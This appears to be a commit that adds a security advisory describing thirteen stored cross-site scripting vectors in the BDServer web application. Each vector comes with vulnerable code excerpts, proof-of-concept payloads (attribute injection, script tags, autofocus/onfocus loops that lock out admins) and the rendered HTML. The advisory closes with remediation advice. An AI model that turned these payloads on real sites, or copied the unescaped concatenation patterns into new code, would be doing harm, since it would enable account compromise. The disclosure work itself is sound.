Initial commit.

This commit is contained in:
2026-01-21 13:12:04 -05:00
commit 1e9e5a5925
190 changed files with 25707 additions and 0 deletions
+387
View File
@@ -0,0 +1,387 @@
# Stored Cross-Site Scripting (XSS)
## Summary
BDServer contains multiple stored XSS vulnerabilities allowing attackers to inject JavaScript that executes when other users view affected pages. The root cause is an inadequate HTML escaping function combined with unsafe string concatenation throughout the codebase. This report documents thirteen confirmed vectors grouped by authentication requirements. Additional vectors likely exist given the prevalence of the vulnerable pattern.
## Vulnerability Details
| Property | Value |
|----------|-------|
| Type | Stored Cross-Site Scripting (XSS) |
| CVSS | [8.1 (High)](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N&version=3.1) |
| CWE | CWE-79 (Improper Neutralization of Input During Web Page Generation) |
## Root Cause
The [`Safe()` function](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Common.py#L73-L74) is intended to sanitize user input but is inadequate:
```python
def Safe(text):
return str(text).replace("<", "&lt").replace(">", "&gt")
```
Note: The function uses `&lt` and `&gt` without trailing semicolons. Browsers accept these for [legacy compatibility reasons](https://html.spec.whatwg.org/multipage/named-characters.html), but they are flagged as parse errors by the HTML specification. This is a code quality issue but not a security concern in this context.
Proper HTML escaping is context-dependent: text content, attributes, URLs, and JavaScript contexts each require different treatment. This function only escapes angle brackets, which prevents tag injection but does nothing against attribute injection:
```python
# Vulnerable pattern throughout the codebase:
html = '<img src="' + Safe(user_input) + '">'
# If user_input = 'x" onerror="alert(1)" x="'
# Output: <img src="x" onerror="alert(1)" x="">
```
This pattern appears throughout `Render.py` (6,100+ lines), making comprehensive remediation difficult without architectural changes.
## Vectors
### Group 1: Unauthenticated (Critical)
These vectors require no account and can be exploited by anyone. Vectors 1.3 and 1.4 target administrators directly through the comment moderation interface.
#### Vector 1.1: Markdown Image Injection
The [markdown image handler](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/markdown.py#L646) only escapes quotes in the `title` attribute, leaving `src` vulnerable:
```python
textReturn = textReturn + '\n<center><a target="_blank" href="'+i[-1]+'"><img title="'+i[1].replace('"', "&quot;")+'" alt="[embedded image]" src="'+i[-1]+'"></a></center>'
```
**Payload:** Post a comment containing:
```markdown
![x](x" onerror="alert`XSS`" x=")
```
**Result:** After admin approval, renders as:
```html
<img title="x" alt="[embedded image]" src="x" onerror="alert`XSS`" x="">
```
The invalid `src` triggers `onerror` automatically. Payloads cannot contain `)` because the markdown parser uses it as a delimiter; template literal syntax bypasses this.
#### Vector 1.2: Markdown Link Injection
The [markdown link handler](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/markdown.py#L659) inserts URLs without any escaping:
```python
textReturn = textReturn + '<a target="_blank" href="'+i[-1]+'">'+i[1]+"</a>"
```
**Payload:** Post a comment containing:
```markdown
[click me](x" onclick="alert`XSS`" x=")
```
**Result:** After approval, clicking the link executes JavaScript:
```html
<a target="_blank" href="x" onclick="alert`XSS`" x="">click me</a>
```
Payloads cannot contain `)` due to the markdown parser's delimiter handling.
#### Vector 1.3: Anonymous Comment Username
The [comment editing form](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L3905-L3911) inserts anonymous usernames without sanitization:
```python
account = comment.get("username", "")
if account in accounts():
html = html + User(Safe(account))
elif account:
# ...
html = html + '<input class="button" style="width:90%" maxlength="200" name="username" placeholder="Optional Nick Name" value="'+account+'">'
```
The `Safe()` function is only called for registered usernames. Anonymous usernames bypass it entirely.
**Payload:** Post an anonymous comment with username:
```
x"autofocus="autofocus"onfocus="alert('XSS')
```
**Result:** When an admin reviews or edits the comment:
```html
<input ... value="x"autofocus="autofocus"onfocus="alert('XSS')">
```
The `autofocus` attribute triggers `onfocus` immediately, so the admin does not need to approve the comment. This creates an infinite loop that locks the admin out of the page.
#### Vector 1.4: Anonymous Comment Warning Field
The [comment warning field](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L3913-L3918) receives no sanitization:
```python
warning = comment.get("warning", "")
html = html + '<input class="button" maxlength="200" style="width:90%" name="warning" placeholder="Optional Trigger Warning" value="'+warning+'">'
```
**Payload:** Post a comment with trigger warning:
```
x"autofocus="autofocus"onfocus="alert('XSS')
```
**Result:** When an admin views pending comments:
```html
<input ... value="x"autofocus="autofocus"onfocus="alert('XSS')">
```
The `autofocus` attribute triggers `onfocus` immediately. This creates an infinite loop that locks the admin out of the page.
### Group 2: Registered Account Required (High)
These vectors require creating an account but no special privileges.
#### Vector 2.1: Avatar URL
The [avatar URL](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L3571-L3580) passes through `Safe()` but remains vulnerable to attribute injection:
```python
avatar = Safe(account.get("avatar", ""))
html = '<!-- Render.User --><img alt="[avatar]" style="height:50px;vertical-align: middle" src="'+avatar+'">&nbsp;&nbsp;'
```
**Payload:** Set avatar URL in `/settings` to:
```
x" onerror="alert('XSS')" x="
```
**Result:** Executes on every page displaying the avatar (article listings, comments, profile pages):
```html
<img alt="[avatar]" style="..." src="x" onerror="alert('XSS')" x="">
```
#### Vector 2.2: Website Profile Field
The [website field](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L1488-L1496) passes through `Safe()` but allows attribute injection:
```python
website = Safe(Accounts.get(account, {}).get("website" , ""))
html = html + '<a href="'+website+'"> '+webtitle+'</a>'
```
**Payload:** Set website field to:
```
x" onclick="alert('XSS')" x="
```
**Result:** Executes when visitors click the link on the profile page:
```html
<a href="x" onclick="alert('XSS')" x=""> ...</a>
```
#### Vector 2.3: Jami Profile Field
The [Jami field](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L1551-L1556) is inserted into an input value attribute:
```python
jami = Safe(Accounts.get(account, {}).get("jami" , ""))
# ...
html = html + '<input class="button" style="width:50%;" value="'+jami+'">'
```
**Payload:** Set Jami field to:
```
x"autofocus="autofocus"onfocus="alert('XSS')
```
**Result:** Executes immediately when visitors view the profile:
```html
<input class="button" style="width:50%;" value="x"autofocus="autofocus"onfocus="alert('XSS')">
```
This creates an infinite loop.
#### Vector 2.4: Matrix Profile Field
The [Matrix field](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L1561-L1572) is concatenated into a URL:
```python
matrix = Safe(Accounts.get(account, {}).get("matrix" , ""))
# ...
if "/" in matrix:
matrix = matrix[matrix.rfind("/")+1:]
matrixlink = "https://matrix.to/#/"+matrix
# ...
html = html + '<a href="'+matrixlink+'"> '+matrix+'</a>'
```
**Payload:** Set Matrix field to:
```
x" onclick="alert('XSS')" x="
```
**Result:** Executes when visitors click the Matrix link:
```html
<a href="https://matrix.to/#/x" onclick="alert('XSS')" x=""> ...</a>
```
The `/` stripping limits exfiltration payloads containing URLs.
#### Vector 2.5: Mastodon Profile Field
The [Mastodon field](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L1513-L1525) passes through helper functions that don't escape quotes:
```python
mastodon = Safe(Accounts.get(account, {}).get("mastodon" , ""))
# ...
Mastodon = mastohead(mastodon)
Mastolink = mastolink(Mastodon)
# ...
html = html + '<a href="'+Mastolink+'"> '+Mastodon+'</a>'
```
**Payload:** Set Mastodon field to:
```
x" onclick="alert('XSS')" x="@example.com
```
**Result:** Executes when visitors click the Mastodon link:
```html
<a href="https://example.com/@x" onclick="alert('XSS')" x=""> ...</a>
```
The [helper function](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L517-L519) mangles payloads containing `/`.
#### Vector 2.6: PeerTube Profile Field
The [PeerTube field](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L1532-L1544) passes through helper functions that don't escape quotes:
```python
peertube = Safe(Accounts.get(account, {}).get("peertube" , ""))
# ...
PeerHead = peerhead(peertube)
PeerLink = peerlink(PeerHead)
# ...
html = html + '<a href="'+PeerLink+'"> '+PeerHead+'</a>'
```
**Payload:** Set PeerTube field to:
```
x" onclick="alert('XSS')" x="@example.com
```
**Result:** Executes when visitors click the PeerTube link:
```html
<a href="https://example.com/@x" onclick="alert('XSS')" x=""> ...</a>
```
The [helper function](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L465-L511) mangles payloads containing `/`.
### Group 3: Elevated Privileges Required (Medium)
These vectors require author, editor, or theme editing privileges.
#### Vector 3.1: Article Title
[Article titles](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L3300-L3302) receive no sanitization:
```python
html = html + article.get("title", "")+"</h1></a>"+sup+"\n"
```
**Payload:** Set article title to:
```html
<script>alert('XSS')</script>
```
**Result:** Raw HTML is inserted directly on listing pages and the article itself:
```html
...<script>alert('XSS')</script></h1></a>...
```
#### Vector 3.2: Article Thumbnail
[Article thumbnails](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Render.py#L1271-L1275) are inserted without sanitization:
```python
html = html + '<img style="min-width:100%; width:100%" src="'+thumbnail+'">'
```
**Payload:** Set thumbnail URL to:
```
"><script>alert('XSS')</script><img src="
```
**Result:** Executes on the article page and listings:
```html
<img style="min-width:100%; width:100%" src=""><script>alert('XSS')</script><img src="">
```
#### Vector 3.3: Theme Thumbnail
The [theme thumbnail](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db/modules/Themes.py#L77-L79) is inserted without sanitization:
```python
html = html + '<img alt="[avatar]" style="height:150px;float:left;margin-right:20px;margin-bottom:20px" src="'+thumbnail+'">'
```
**Payload:** Set theme screenshot field to:
```
"><script>alert('XSS')</script><img src="
```
**Result:** Executes when visitors view the theme listing:
```html
<img alt="[avatar]" style="..." src=""><script>alert('XSS')</script><img src="">
```
## Remediation
### Adopt a Templating Engine
Building HTML through string concatenation makes security review difficult. `Render.py` alone is over 6,100 lines of interleaved Python logic and HTML fragments. Every output statement is a potential XSS vector.
A templating engine like [Jinja2](https://jinja.palletsprojects.com/) separates HTML structure from application logic and escapes variables automatically by default. This makes XSS vulnerabilities structurally difficult to introduce rather than relying on developers to remember to sanitize every insertion point.
### Replace the Custom Markdown Parser
The custom `modules/markdown.py` uses ad-hoc string manipulation with many edge cases. An established library like [markdown-it-py](https://markdown-it-py.readthedocs.io/) follows the CommonMark specification and provides options to disable raw HTML in user content.
### Fix the Safe() Function
As an immediate mitigation, replace `Safe()` with Python's `html.escape()`:
```python
import html
def Safe(text):
return html.escape(str(text), quote=True)
```
This escapes `<`, `>`, `&`, `"`, and `'`. However, this only addresses vectors where `Safe()` is already called. The article title, anonymous username, and warning field vectors bypass `Safe()` entirely.
### Harden HTTP Headers
Cookies set with the `HttpOnly` flag cannot be accessed by JavaScript, limiting the impact of XSS. A Content Security Policy that blocks inline scripts can prevent many XSS payloads from executing. These mitigations reduce impact but do not substitute for fixing the underlying vulnerabilities.
## Disclaimer
This assessment was performed on a best-effort basis against [BDServer commit dc86854](https://codeberg.org/blenderdumbass/BDServer/src/commit/dc86854a261f61042868a5e73de5272a6f2799db) and reflects the state of the software at the time of testing. The findings and remediations are provided for informational purposes and should be independently validated before implementation. This report does not guarantee all vulnerabilities have been identified, nor does it guarantee the suggested fixes will be effective in all environments.